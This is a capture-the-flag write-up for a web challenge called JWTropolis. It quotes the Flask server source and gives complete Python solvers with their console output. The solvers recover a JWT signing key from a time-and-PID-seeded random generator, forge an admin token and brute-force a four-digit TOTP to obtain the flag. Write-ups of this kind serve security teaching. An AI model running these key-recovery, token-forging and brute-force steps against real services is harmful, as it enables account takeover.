JWTropolis

Let's read the challenge server files

# i registered a user sbeve:sbeve

@app.route('/register', methods=['GET', 'POST'])
def register():
	if request.method == 'POST':
		username = request.form['username']
		password = request.form['password']
		existing_user = User.query.filter_by(username=username).first()
		if existing_user:
			return render_template('register.html', error="Username already taken"), 400
		hashed_password = generate_password_hash(password)
		new_user = User(username=username, password=hashed_password, role=0)
		db.session.add(new_user)
		db.session.commit()
		return redirect(url_for('login'))
	return render_template('register.html')

up = math.floor(time.time()) # server Uptime
random.seed(up + os.getpid())

print("Starting server at", up)
print("Process ID:", os.getpid())

strongpassword = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(16))

app = Flask(__name__)
app.config['SECRET_KEY'] = "".join(random.choice(string.printable) for _ in range(32))
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////app/data/site.db'
app.config['JWT_SECRET_KEY'] = "".join(random.choice(string.printable) for _ in range(32))
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['JWT_COOKIE_CSRF_PROTECT'] = False 

db = SQLAlchemy(app)
jwt = JWTManager(app)

FLAG = os.getenv("FLAG", "flag{this_is_a_fake_flag}")

class User(db.Model):
	id = db.Column(db.Integer, primary_key=True)
	username = db.Column(db.String(80), unique=True, nullable=False)
	password = db.Column(db.String(80), nullable=False)
	avatar = db.Column(db.String(80), nullable=True)
	role = db.Column(db.Integer, nullable=False) # 0 = student, 1 = teacher, 2 = admin
	totp_secret = db.Column(db.Integer, nullable=True) # Only for admin users / 4 digits
 
@app.route("/status")
def status():
	return jsonify(status="OK", uptime=time.time() - up)

We got the server uptime

import random
import string
import time
import jwt
import requests


# login with the new user
login_url = "http://51.77.140.155:9100/login"
jwt_cookie = None  # Define outside loop        
login_data = {
    "username": "sbeve",
    "password": "sbeve",
    "loginstep1": ""
}

try:
    print("Logging in with new user...")
    response = requests.post(login_url, data=login_data, allow_redirects=False, timeout=5)
    if response.status_code == 302:
        print("Login successful!")
        cookies = response.cookies
        jwt_cookie = cookies.get("access_token_cookie")
        print(f"JWT Cookie: {jwt_cookie}")
    else:
        print(f"Login failed (Status: {response.status_code})")
        print("Cannot proceed without JWT cookie.")
        exit(1)
except Exception as e:
    print(f"Error during login: {e}")
    print("Cannot proceed without JWT cookie.")
    exit(1)
    
# Fetch uptime from server
server_url = "http://51.77.140.155:9100/status"
try:
    print("Fetching server status...")
    response = requests.get(server_url, timeout=5).json()
    uptime = int(float(response["uptime"]))
    current_time = int(time.time())
    up = current_time - uptime
    print(f"Server responded - up: {up}, Uptime: {uptime}")
except Exception as e:
    print(f"Failed to reach server: {e}")
    print("Cannot proceed without server uptime.")
    exit(1)

# Decode JWT with server-provided up
jwt_key = None  # Define outside loop
found = False
timeout = 10  # ±10 seconds threshold for server - client difference
for tt in range(up - timeout, up + timeout + 1):
    print(f"Trying up: {tt}")
    for pid in range(1, 100):
        random.seed(tt + pid)
        strongpassword = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
        secret_key = "".join(random.choice(string.printable) for _ in range(32))
        jwt_key_candidate = "".join(random.choice(string.printable) for _ in range(32))
        try:
            decoded = jwt.decode(jwt_cookie, jwt_key_candidate, algorithms=["HS256"])
            print(f"\nStep 1: Successfully decoded JWT!")
            print(f"up (adjusted): {tt}, PID: {pid}")
            print(f"Original server up: {up}")
            print(f"Strong Password: {strongpassword}")
            print(f"SECRET_KEY: {secret_key}")
            print(f"JWT_SECRET_KEY: {jwt_key_candidate}")
            print(f"Decoded JWT: {decoded}")
            jwt_key = jwt_key_candidate  # Store the correct key
            found = True
            break
        except jwt.InvalidTokenError:
            if pid % 25 == 0:
                print(f"PID {pid} failed for up: {tt}")
            continue
    if found:
        break

if not found:
    print("Failed to decode JWT within timeout threshold.")
    exit(1)

# Step 2: Forge admin JWT and brute-force TOTP
admin_payload = {
    "fresh": False,
    "iat": int(time.time()),
    "jti": "44aefe9b-59a9-49a0-980b-7bd572af49aa",
    "type": "access",
    "sub": "sbeve",  # Target the real admin user
    "nbf": int(time.time()),
    "exp": int(time.time()) + 3600,
    "role": 2,
    "avatar": None,
    "totp": 0000  # Placeholder; will be updated in loop
}


# Sign the payload with the correct JWT key
print(f"Using JWT key: {jwt_key}")
print("Forging admin JWT...")
forged_token = jwt.encode(admin_payload, jwt_key, algorithm="HS256")
print(f"Forged JWT: {forged_token}")
PS C:\Users\saleh\Downloads\CTFKareemSecurinetsTekup> python .\jw\challenge\solver.py
Logging in with new user...
Login successful!
JWT Cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjA0NjAyNiwianRpIjoiMmY5MWE5OTktNWZmZC00NTM1LThmMTgtODRiOGFiOGI1MjNmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InNiZXZlIiwibmJmIjoxNzQyMDQ2MDI2LCJleHAiOjE3NDIwNDY5MjYsInJvbGUiOjAsImF2YXRhciI6bnVsbCwidG90cCI6bnVsbH0.TtSC7I80Tlp4R0UAWzGdBgPOJ4ZC9gRpavGYn2n-XSM
Fetching server status...
Server responded - up: 1741746923, Uptime: 299104
Trying up: 1741746913

Step 1: Successfully decoded JWT!
up (adjusted): 1741746913, PID: 10
Original server up: 1741746923
Strong Password: ywrq4loihIWcRewq # Admin Password as mentinned
SECRET_KEY: bwAgO]k}d=J<t2*UF89!2
JWT_SECRET_KEY: L6kb♀]tJ\JQ#JH~LRDGbH?CTC(W7A Q,
Decoded JWT: {'fresh': False, 'iat': 1742046026, 'jti': '2f91a999-5ffd-4535-8f18-84b8ab8b523f', 'type': 'access', 'sub': 'sbeve', 'nbf': 1742046026, 'exp': 1742046926, 'role': 0, 'avatar': None, 'totp': None}
Using JWT key: L6kb♀]tJ\JQ#JH~LRDGbH?CTC(W7A Q,
Forging admin JWT...
Forged JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjA0NjAyNywianRpIjoiNDRhZWZlOWItNTlhOS00OWEwLTk4MGItN2JkNTcyYWY0OWFhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InNiZXZlIiwibmJmIjoxNzQyMDQ2MDI3LCJleHAiOjE3NDIwNDk2MjcsInJvbGUiOjIsImF2YXRhciI6bnVsbCwidG90cCI6MH0.YKZdzAQgWkNN0dBL-Jres2MU1cisK0txWjha1BMjR8k 
# /fetchstaff needs role >= 1 , forging the JWT helped us here
@app.route("/fetchstaff")
@jwt_required()
def staff():
	if get_jwt()["role"] < 1:
		return "Unauthorized", 403
	staff = User.query.filter(User.role > 0).all()
	return jsonify([{"username": s.username, "avatar": s.avatar} for s in staff])

Using the forget JWT to /fetchtstaff

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjA0NjAyNywianRpIjoiNDRhZWZlOWItNTlhOS00OWEwLTk4MGItN2JkNTcyYWY0OWFhIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InNiZXZlIiwibmJmIjoxNzQyMDQ2MDI3LCJleHAiOjE3NDIwNDk2MjcsInJvbGUiOjIsImF2YXRhciI6bnVsbCwidG90cCI6MH0.YKZdzAQgWkNN0dBL-Jres2MU1cisK0txWjha1BMjR8k

So the username is

and the password is the strongPassword

ywrq4loihIWcRewq 

Now it's time to bruteforce the otp and get the FLAG

# /dahsboard
@app.route("/dashboard")
@jwt_required()
def dashboard():
    username = get_jwt()["sub"]
    
    user = User.query.filter_by(username=username).first()
    if user is None:
        return "User not found", 404
    
    if user.role == 2 and get_jwt()["totp"] == user.totp_secret:
        return render_template("dashboard.html", user=user, flag=FLAG)

    return render_template("dashboard.html", user=user, flag="are u admin? cuz i'm not :p")

# Brute Brute Brute Force

import requests
import time

def test_connectivity():
    try:
        response = requests.get("http://51.77.140.155:9100/", timeout=10)
        print(f"Server reachable: Status {response.status_code}")
        return True
    except Exception as e:
        print(f"Server connectivity test failed: {e}")
        return False

def brute_force_totp_sequential():
    login_url = "http://51.77.140.155:9100/login"
    dashboard_url = "http://51.77.140.155:9100/dashboard"
    headers = {
        "Host": "51.77.140.155:9100",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "http://51.77.140.155:9100",
        "Connection": "keep-alive",
        "Referer": "http://51.77.140.155:9100/login",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    print("Starting sequential TOTP brute-force from 1000 to 2000...")
    for totp in range(0000,9999):
        totp_str = str(totp).zfill(4)
        data = {
            "username": "[email protected]",
            "password": "ywrq4loihIWcRewq",
            "totp": totp_str,
            "loginstep1": ""
        }

        print(f"Trying TOTP: {totp_str}")

        try:
            response = requests.post(login_url, headers=headers, data=data, allow_redirects=False, timeout=10)
            if response.status_code == 302:
                print(f"\nLogin successful with TOTP: {totp_str}")
                cookies = response.cookies
                jwt_cookie = cookies.get("access_token_cookie")
                print(f"JWT Cookie: {jwt_cookie}")

                dash_response = requests.get(dashboard_url, 
                                           cookies={"access_token_cookie": jwt_cookie}, 
                                           timeout=10)
                response_text = dash_response.text
                print(f"Dashboard response: {response_text}")

                if "Securinets" in response_text:
                    flag = response_text.split("Securinets")[1].split("}")[0]
                    flag = f"Securinets{{{flag}}}"
                    print(f"\nSuccess! Flag: {flag} (TOTP: {totp_str})")
                    return flag
                else:
                    print("No flag found in dashboard response.")
            else:
                print(f"TOTP {totp_str} failed (Status: {response.status_code})")
        except Exception as e:
            print(f"Error for TOTP {totp_str}: {e}")
            continue

    print("Failed to find correct TOTP after trying 1000-2000.")
    return None

if __name__ == "__main__":
    print("Brute-forcing TOTP (1000-2000) sequentially via /login...")
    if test_connectivity():
        flag = brute_force_totp_sequential()
        if flag:
            print(f"Final Result: {flag}")
        else:
            print("No flag found in the range 1000-2000.")
    else:
        print("Aborting due to server connectivity issues.")

PS C:\Users\saleh\Downloads\CTFKareemSecurinetsTekup\jw\challenge> python .\brute.py
Brute-forcing TOTP (1000-2000) sequentially via /login...
...
TOTP 1335 failed (Status: 400)
TOTP 1336 failed (Status: 400)
Trying TOTP: 1337

Login successful with TOTP: 1337
JWT Cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MjA0NjU1MSwianRpIjoiMGE4MjI5MGQtZmFjOC00YTYzLWFhNTYtYTBlNzBiNDk2NmQ1IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6IktvbmFOLmc3cTlnNGVhN3FAc2V1cmluZXRzLnRla3VwIiwibmJmIjoxNzQyMDQ2NTUxLCJleHAiOjE3NDIwNDc0NTEsInJvbGUiOjIsImF2YXRhciI6Ii9hc3NldHMvaW1nL0tvbmFOLnBuZyIsInRvdHAiOjEzMzd9.hrJFsuvfnS7dMEG54nJroArxOy67qGjJtYuT9WxiTvs
Dashboard response: ....
        <h3 class="text-xl font-semibold text-gray-700">Your Flag:</h3>
        <p class="text-2xl text-green-600 font-bold">Securinets{JWT_juGGliNg_w1th_T0TP_m4st3ry!}</p>
      </div>
...
Success! Flag: Securinets{JWT_juGGliNg_w1th_T0TP_m4st3ry!} (TOTP: 1337)

Last updated

Was this helpful?